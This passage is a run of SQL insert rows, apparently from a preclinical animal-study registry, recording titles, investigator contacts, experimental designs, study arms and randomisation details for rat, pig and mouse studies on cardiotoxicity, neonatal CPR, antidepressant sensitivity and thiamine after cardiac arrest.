	(9208,248,'species','\"rat\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9209,248,'strain','\"Wistar albino\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9210,248,'sex','\"male\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9211,248,'sample_size_calculation','\"no\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9212,248,'sample_size_calculation_details','\"Based on previous studies that evaluated similarly related areas as:\\n1. Chen, Jiaoting et al. (2020) \\u2018Modulatory effect of metformin on cardiotoxicity induced by doxorubicin via the MAPK and AMPK pathways\\u2019, Life Sciences, 249. doi: 10.1016\\/j.lfs.2020.117498.\\n2. https:\\/\\/journals.plos.org\\/plosone\\/article?id=10.1371\\/journal.pone.0168219\"','2022-03-31 13:24:00','2022-03-31 13:24:01'),
	(9213,248,'sum_of_animals','\"36\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9214,248,'study_arms','[{\"type\":\"control\",\"number\":\"6\",\"intervention\":\"normal saline 1 ml\\/kg, i.p for 10 days\"},{\"type\":\"control\",\"number\":\"6\",\"intervention\":\"normal saline 1 ml\\/kg, i.p for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day, and ECG will be recorded on the 10th day\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"Received OSO (1 ml\\/kg, i.p) for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day and ECG will be recorded on the 10th day\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"PPO (1 ml\\/kg, i.p) for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day and ECG will be recorded on the 10th day\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"OSO (1 ml\\/kg, i.p) for 10 days and ECG will be recorded on the 10th da\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"PPO (1 ml\\/kg, i.p) for 10 days and ECG will be recorded on the 10th day\"}]','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9215,248,'randomisation','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9216,248,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9217,248,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9218,248,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9219,248,'investigators_blinded_assessment','\"no\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9220,248,'placebo_controlled','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9221,248,'has_embargo','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9222,248,'title','\"Effect of Ocimum Sanctum oil and peppermint oil on doxorubicin-induced cardiotoxicity\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9223,248,'contact_name','\"Mohammed Ibrahim\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9224,248,'contact_role','\" research group supervisor\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9225,248,'contact_email','\"mh.ibrahim@qu.edu.sa\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9226,248,'study_centre','[{\"name\":\"Qassim University\",\"city\":\"Qassim\",\"country\":\"SA\"}]','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9227,248,'experimental_design','\"Experimental animals\\n\\nAll the experiments will be carried out on Wistar albino rats, male, aged 3-4 months, weighing 180-220 g. They will be housed in polypropylene cages (47 x 34 x 20 cm) lined with husk, renewed every 24 hours under a 12-hour light\\/dark cycle at around 22C with 50% humidity. The rats had free access to a standard pellet diet and water.\\n\\nExperimental design and protocol\\n\\nA total of 36 Wistar albino rats will be randomly divided into six groups comprising of four animals per group.\\n\\nGroup I: Normal control group, will receive normal saline 1 ml\\/kg, i.p for 10 days.\\n\\nGroup II: Toxic control group, will receive normal saline 1 ml\\/kg, i.p for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day, and ECG was recorded on the 10th day.\\n\\nGroup III: will receive OSO (1 ml\\/kg, i.p) for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day, and ECG will be recorded on the 10th day.\\n\\nGroup IV: will receive PPO (1 ml\\/kg, i.p) for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day, and ECG will be recorded on the 10th day.\\n\\nGroup V: will receive OSO (1 ml\\/kg, i.p) for 10 days and ECG will be recorded on the 10th day.\\n\\nGroup VI: will receive PPO (1 ml\\/kg, i.p) for 10 days and ECG will be recorded on the 10th day.\\n\\n4.4 Electrocardiogram\\n\\nFollowing ketamine anesthesia, each rat will be positioned on an animal operation table for ECG recording. Electrodes will be tied on the palmer surface of the clean limbs of rats. The front limbs and left-back limb will be used for the recording of ECG in standard leads, while the right-back limb was attached with a grounded electrode. A conductive ECG gel will be applied with care over each electrode to prevent a gel bridge between them from being formed. The electrocardiograph patterns will be recorded by PowerLab running LabChart Pro 7 software.\\n\\nECG of each experimental animal will analyze both qualitatively and quantitatively and further will be verified by an interventional cardiologist. ECG will be analyzed quantitatively in terms of the QT interval, ST-segment elevation, and QRS complex\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9228,249,'title','\"Chest Compression Depth, Rate, and Position of Hands during Neonatal Resuscitation of Asphyxiated Newborns \"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9229,249,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9230,249,'contact_role','\"Principal Investigator\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9231,249,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9232,249,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9233,249,'financial_support','[\"grants\"]','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9234,249,'start_date','\"2021-06-01\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9235,249,'end_date','\"2021-12-31\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9236,249,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:24:00','2022-03-31 13:24:06'),
	(9237,249,'research_field','\"Pediatrics, Neonatology\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9238,249,'hypothesis','\"Asphyxia \\/ hypoxia at birth.\\n\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9239,249,'intervention_type','\"delivery_method\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9240,249,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9241,249,'primary_readout_parameter','\"Differences in cardiopulmonary and respiratory parameters (e.g. arterial blood pressure, carotid blood flow, exhaled carbon dioxide, tidal volume delivery) between each cardiopulmonary resuscitation (CPR) technique\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9242,249,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9243,249,'species','\"pig\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9244,249,'sex','\"both\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9245,249,'experimental_design','\"Newborn piglet model of hypoxia\\/asphyxia-induced cardiac arrest\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9246,249,'sample_size_calculation','\"no\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9247,249,'sample_size_calculation_details','\"Pilot study\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9248,249,'sum_of_animals','\"15\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9249,249,'study_arms','[{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"CPR with various chest depths: 12.5%, 25%, 33%, and 40% of anterior-posterior chest wall diameter\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"CPR with various chest compression rates per min: 60, 90, 120, 150, and 180 \"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"CPR with various hand positions for chest compression: 2-thumbs, 2-fingers, finger &amp; thumb, and 2-thumbs upside down\"}]','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9250,249,'randomisation','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9251,249,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9252,249,'details_randomisation','\"block_randomisation\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9253,249,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9254,249,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9255,249,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9256,249,'has_embargo','\"no\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9257,239,'secondary_readout_parameter','\"-\\tProportion of patent anastomoses directly following the procedure\\n-\\tNotation of direct post-anastomotic formation transit time flow measurements. Transit time flow measurements register flow, pulsatility index, flow curves, and diastolic filling percentages. Also, coronary flow reserves will be depicted by hyperemic flow following graft occlusion\\n-\\tProportion of patent anastomoses at the five weeks mid-term analysis\\n-\\tDescription of the anastomotic remodeling at the end of the three-month follow-up per histological analyses.\\n-\\tProportion of mortality during the three-month follow-up period. Mortality will be registered as either device-related (anastomotic hemorrhage or occlusion) or non-device related (all other causes).\\n-\\tDescription of morbidity during the three-month follow-up period. Morbidity will be registered as possibly cardiac-related, or not cardiac related\\n-\\tSystemic and local thrombogenic response on implantation is described\\n-\\tSystemic and local inflammatory response on implantation is described\\n-\\tSystemic hemolytic response is described\\n-\\tComparison of the patency at end of follow-up between the two surgical access methods\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9258,239,'strain','\"SPF TopigsNorsvin (TN) genetica\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9259,251,'start_date','\"2022-02-02\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9260,251,'end_date','\"2022-08-02\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9261,251,'study_status','\"not_started\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9262,251,'title','\"oxLDL-targeting IgM antibodies to improve fluoxetine sensitivity in LDLRko mice\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9263,251,'short_title','\"OXySENSE\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9264,251,'contact_name','\"Tom Houben\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9265,251,'contact_role','\"Supervisor of the project\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9266,251,'contact_email','\"tom.houben@maastrichtuniversity.nl\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9267,251,'study_centre','[{\"name\":\"Maastricht Univeristy\",\"city\":\"Maastricht\",\"country\":\"NL\"}]','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9268,251,'financial_support','[\"grants\"]','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9269,251,'research_field','\"Neurology and metabolism\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9270,251,'hypothesis','\"Are oxLDL-targeting IgM antibodies able to improve fluoxetine sensitivity in LDLRKO mice?\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9271,251,'intervention_type','\"compound\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9272,251,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9273,251,'primary_readout_parameter','\"The primary read-out parameter is the improvement in behavior based on the sucrose preference test in the final week of the experiment.\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9274,251,'secondary_readout_parameter','\"The improvement in behavior based on splash test and social interaction test in the final week of the experiment.\\nAdditionally, changes in (oxidized) lipid species and changes in neurological patterns are also considered as secondary readout parameters\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9275,251,'exclusive_animal_use','\"no\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9276,251,'no_exclusive_animal_use_details','\"Besides the indicated research question, the described experiment will also provide information on whether the tested immunization crosses the blood-brain-barrier and whether changes in lipid species can be observed in the brain.\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9277,251,'species','\"mouse\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9278,251,'sex','\"male\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9279,251,'strain','\"C57BL\\/6J background; LDL receptor knockout\"','2022-03-31 13:24:00','2022-03-31 13:24:01'),
	(9280,251,'experimental_design','\"Ldlr-\\/- mice exhibit depressive-like behaviour and, moreover, mimic a human lipoprotein profile, making it an attractive model to investigate the influence of oxLDL-targeting IgM antibodies on antidepressant sensitivity. First, in order to increase circulating levels of oxLDL, male Ldlr-\\/- mice (n=64) will receive a high-fat, high-cholesterol (HFC) diet for 9 weeks. Three weeks after initiation of the HFC diet, the mice will receive the antidepressant fluoxetine (10 mg\\/kg; n=48) or vehicle (n=16) via the drinking water for 6 weeks . After 1 week of fluoxetine treatment, fluoxetine responders and non-responders (based on sucrose preference test) will be separated. Next, to investigate whether IgM antibodies against oxLDL increase fluoxetine sensitivity, both responders and non-responders will be separated into 2 experimental groups: 1 group will be immunized with heat-inactivated pneumococci, the other group will receive the control injections. The immunizations will take place at week 4, 5 and 7 via subcutaneous (1st) or intraperitoneal (2nd and 3rd) injection. Blood will be taken before and after the antidepressant treatment regimen. Due to the continuous behavioural testing during the experiment (also see methods), this set-up provides an opportunity to investigate whether oxLDL-targeting IgM antibodies can improve fluoxetine sensitivity in a \\u2018responder\\u2019 and \\u2018non-responder\\u2019 context\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9281,251,'sum_of_animals','\"64\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9282,251,'randomisation','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9283,251,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9284,251,'study_arms','[{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Sham-treated (control for fluoxetine) LDLR KO mice injected with control (control for pneumococci)\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Sham-treated (control for fluoxetine) LDLR KO mice injected with pneumococci\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated responder LDLR KO mice injected with control \"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated responder LDLR KO mice injected with pneumococci\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated non-responder LDLR KO mice injected with control \"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated non-responder LDLR KO mice injected with pneumococci\"}]','2022-03-31 13:24:00','2022-03-31 13:24:02'),
	(9285,251,'sample_size_calculation','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9286,251,'details_randomisation','\"block_randomisation\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9287,251,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9288,251,'yes_blinded_intervention_how_details','\"Each investigated mouse will be assigned a random number by a computer. While the researcher that manipulated the computer to generate the random number will know which number belongs to the mouse, the researchers that will conduct the research (laboratory analyses; study set-up) will not know to which experimental group the mouse belongs.\"','2022-03-31 13:24:00','2022-03-31 13:24:01'),
	(9289,251,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9290,251,'yes_blinded_assessment_partially_details','\"Similar as described in question 24. The researchers that will perform the experiment (=assess the outcomes) will not know which number relates to which mouse.\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9291,251,'placebo_controlled','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9292,251,'link_to_data','\"NA\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9293,251,'has_embargo','\"yes\"','2022-03-31 13:24:00','2022-03-31 13:24:00'),
	(9294,252,'title','\"Thiamine for the treatment of neurological injury after cardiac arrest in a clinically relevant pig model\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9295,252,'short_title','\"Thiamine as treatment for cardiac arrest\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9296,252,'contact_name','\"Lauge Vammen\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9297,252,'contact_role','\"Primary investigator\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9298,252,'contact_email','\"laugevammen@clin.au.dk\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9299,252,'study_centre','[{\"name\":\"Department of Clinical Medicine, Aarhus University\",\"city\":\"Aarhus\",\"country\":\"DK\"}]','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9300,252,'financial_support','[\"investigator_driven\",\"grants\"]','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9301,252,'start_date','\"2021-09-13\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9302,252,'end_date','\"2022-03-31\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9303,252,'study_status','\"active\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9304,252,'research_field','\"Cardiac arrest and intensive care\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9305,252,'hypothesis','\"Thiamine will improve neurological function when compared with the placebo. \"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9306,252,'intervention_type','\"compound\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9307,252,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9308,252,'primary_readout_parameter','\"The primary outcome is area under the curve for neuron specific enolase 40 hours after ROSC. \"','2022-03-31 13:24:01','2022-03-31 13:24:04'),
	(9309,252,'secondary_readout_parameter','\"Secondary outcomes are:\\n1)\\tCognitive function measured by the human approach test and visual spatial memory test\\n2)\\tNeurological deficit score\\n3)\\tOverall performance category score\\n4)\\tSurvival\\n5)\\tLactate clearance\\n6)\\tBlood samples during the entire experimental period: neuron-specific enolase, troponin-I\\n7)\\tTissue samples at the end of protocol: brain histology and infarct size measurement of the heart\\n8)\\tOutcomes assessed during the intensive care period: cardiovascular outcomes (mean arterial pressure, cardiac output, mixed venous oxygenation, pulmonary arterial and central venous pressures), respiratory outcomes (FiO2\\/PaO2 ratio, PaCO2, arterial blood saturation), metabolic parameters (lactate levels, lactate clearance, whole body oxygen consumption), urine output, temperature\\n\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9310,252,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9311,252,'species','\"pig\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9312,252,'strain','\"Female Danish mixed breed pigs (Duroc\\/Landrace \\/Yorkshire) weighing 38-42 kg\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9313,252,'sex','\"female\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9314,252,'experimental_design','\"Overall study design:\\nThiamine will be tested in a clinically relevant cardiac arrest pig model. In short, all pigs will undergo cardiac arrest with concomitant myocardial infarction. After successful resuscitation the pigs undergo 42 hours of intensive care and each animal will be randomized to receive fives doses of 10 mg\\/kg thiamine or placebo (saline) injection. First dose is administered 20 minutes after return of spontaneous circulation and then repeated every 12 hours during the intensive care period. After end of intensive care, animals are weaned from the ventilator and placed in their pen for observation. Animal caretakers will perform daily neurological and cognitive scoring of each animal. \\n\\nExperimental method:\\nFive days prior to the cardiac arrest each pig undergo the visual spatial memory test. In short, the pig enters a room with three separate feeding troughs with lids. The lids on the outer two troughs are locked while the third in the middle is unlocked. All three troughs contain food. Time from the pig enters the room until it feeds from the middle trough is recorded. Furthermore, the human approach tests are performed on three days prior to the cardiac arrest. This test is performed in the pig sty, where a caretaker provides a food treat for the pig and stands in front of the pig sty for three minutes. The session is video recorded, and the pigs\\u2019 behaviour is assessed in accordance with a pre-determined ethogram. On the day of cardiac arrest all pigs are anesthetised and intubated. All pigs undergo minimal invasive monitoring with sterile technique. Arterial blood pressure is measured and blood gasses\\/samples are collected. A pulmonary artery catheter is floated to a pulmonary artery branch to measure pulmonary artery pressure, mixed venous oxygenation and cardiac output. After baseline samples are collected, the left anterior descending artery (LAD) is occluded by endovascular technique to mimic a myocardial infarction. After 10 minutes of occlusion the LAD artery is reperfused for two minutes, and then ventricular fibrillation is electrically induced. A no-flow period of 9 minutes is allowed before initiating resuscitation with mechanical chest compression (LUCAS device) and ventilation. Upon ROSC, intensive care per protocol is initiated. Five minutes after ROSC, the coronary balloon occlusion is reinitiated for further 35 minutes. 20 minutes after ROSC, either thiamine (10 mg\\/kg) or placebo (equivalent sized volume of saline) is administered. Thiamine or placebo administration is repeated every 12 hours during the intensive care period (5 doses in total). After approximately 42 hours after ROSC, anaesthesia is discontinued and the pigs are weaned from the ventilator. Hereafter, the pigs are transported to their pens and are observed. From the first day back in the pen, the pigs are assessed for neurological injury by the neurological deficit score. Cognitive testing (visual spatial memory and human approach test) is also performed, however, starting the day after anaesthesia discontinuation. On day 8 after cardiac arrest, the final neurological and cognitive assessment (including an overall performance category score) is performed. Hereafter, animals are anaesthetised and intubated before collection of blood and tissue samples.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9315,252,'sample_size_calculation','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9316,252,'sample_size_calculation_details','\"We estimate 8 pigs in each group to show a reduction in mean neuron specific enolase area under the curve within 5 days after cardiac arrest from 179 \\u00b5g\\/L*hours in the placebo group to 63 \\u00b5g\\/L*hours in the thiamine treated group with a standard deviation of 75. The effect size is based off the previous mouse study testing thiamine in a cardiac arrest model (Ikeda, K., et al., Thiamine as a neuroprotective agent after cardiac arrest. Resuscitation, 2016. 105: p. 138-44). The control group\'s neuron specific enolase area under the curve and standard deviation is based on a pilot study on the cardiac arrest pig model. The sample size calculation is based on a power of 80% and a significance value of 5%. \"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9317,252,'sum_of_animals','\"16\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9318,252,'study_arms','[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Thiamine\"},{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Saline (placebo)\"}]','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9319,252,'randomisation','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9320,252,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9321,252,'details_randomisation','\"block_randomisation\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9322,252,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9323,252,'yes_blinded_intervention_partially_details','\"Individuals not affiliated with the experiments or animal care prepare the syringes with either intervention (thiamine) or placebo (saline) from a randomised list. The list is made by a third independent person not involved in experiments or animal care.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9324,252,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9325,252,'yes_blinded_assessment_partially_details','\"Throughout the intensive care phase and in pen observation phase the investigators and animal caretakers are both treatment and allocation blinded. \"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9326,252,'placebo_controlled','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9327,252,'has_embargo','\"no\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9328,253,'title','\"OxLDL-targeting IgM antibodies to improve fluoxetine sensitivity in a mouse model of chronic unpredictable stress\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9329,253,'short_title','\"OXySTRESS\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9330,253,'contact_name','\"Tom Houben\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9331,253,'contact_role','\"Supervisor of the project\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9332,253,'contact_email','\"tom.houben@maastrichtuniversity.nl\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9333,253,'study_centre','[{\"name\":\"Maastricht University\",\"city\":\"Maastricht\",\"country\":\"NL\"}]','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9334,253,'financial_support','[\"grants\"]','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9335,253,'start_date','\"2022-12-02\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9336,253,'end_date','\"2023-10-02\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9337,253,'study_status','\"not_started\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9338,253,'research_field','\"Neurology and metabolism\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9339,253,'hypothesis','\"Are oxLDL-targeting IgM antibodies able to improve fluoxetine sensitivity in mice exposed to chronic unpredictable stress?\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9340,253,'intervention_type','\"compound\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9341,253,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9342,253,'primary_readout_parameter','\"The primary read-out parameter is the improvement in behavior based on the sucrose preference test in the final week of the experiment\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9343,253,'secondary_readout_parameter','\"The improvement in behavior based on the splash test and social interaction test in the final week of the experiment. Additionally, changes in (oxidized) lipid species and changes in neurological patterns are also considered as secondary readout parameters.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9344,253,'exclusive_animal_use','\"no\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9345,253,'no_exclusive_animal_use_details','\"Besides the described research question, the described experiment will also provide information on whether the tested immunization crosses the blood-brain-barrier and whether changes in lipid species can be observed in the brain.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9346,253,'species','\"mouse\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9347,253,'strain','\"BALB\\/c background; WT mice\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9348,253,'sex','\"male\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9349,253,'experimental_design','\"The chronic unpredictable stress (CUS) model more closely mimics the human setting of depression. To induce depressive-like symptoms, male BALB\\/c mice (n=64) will be exposed to chronic unpredictable micro-stressors (CUS; cage tilt; flash lights; white noise; night light; soiled cage; restraint ) for 5 weeks, followed by 6 weeks of fluoxetine or vehicle treatment (drinking water). After identification of antidepressant responders and non-responders (after 1 week), mice will be immunized with heat-inactivated pneumococci or control. Effectivity of the CUS procedure is determined via the sucrose preference test compared to CUS-unexposed mice (n=8). Blood will be taken before and after the antidepressant treatment regimen.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9350,253,'sample_size_calculation','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9351,253,'sum_of_animals','\"72\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9352,253,'study_arms','[{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Mice not exposed to stress-regimen and not to any type of treatment\"},{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Sham-treated (control for fluoxetine) CUS-exposed mice that received control injection (control for immunization)\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Sham-treated CUS-exposed mice that received pneumoccal immunizationon \"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated responder CUS-exposed mice that received control injection\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated responder CUS-exposed mice that received pneumococcal immunization\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated non-responder CUS-exposed mice that received control injection\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated non-responder CUS-exposed mice that received pneumococcal immunization\"}]','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9353,253,'randomisation','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9354,253,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9355,253,'details_randomisation','\"block_randomisation\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9356,253,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9357,253,'yes_blinded_intervention_how_details','\"Each investigated mouse will be assigned a random number by a computer. While the researcher that manipulated the computer to generate the random number will know which number belongs to the mouse, the researchers that will conduct the research (laboratory analyses; study set-up) will not know to which experimental group the mouse belongs.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9358,253,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9359,253,'yes_blinded_assessment_partially_details','\"Similar as described in question 24. The researchers that will perform the experiment (=assess the outcomes) will not know which number relates to which mouse.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
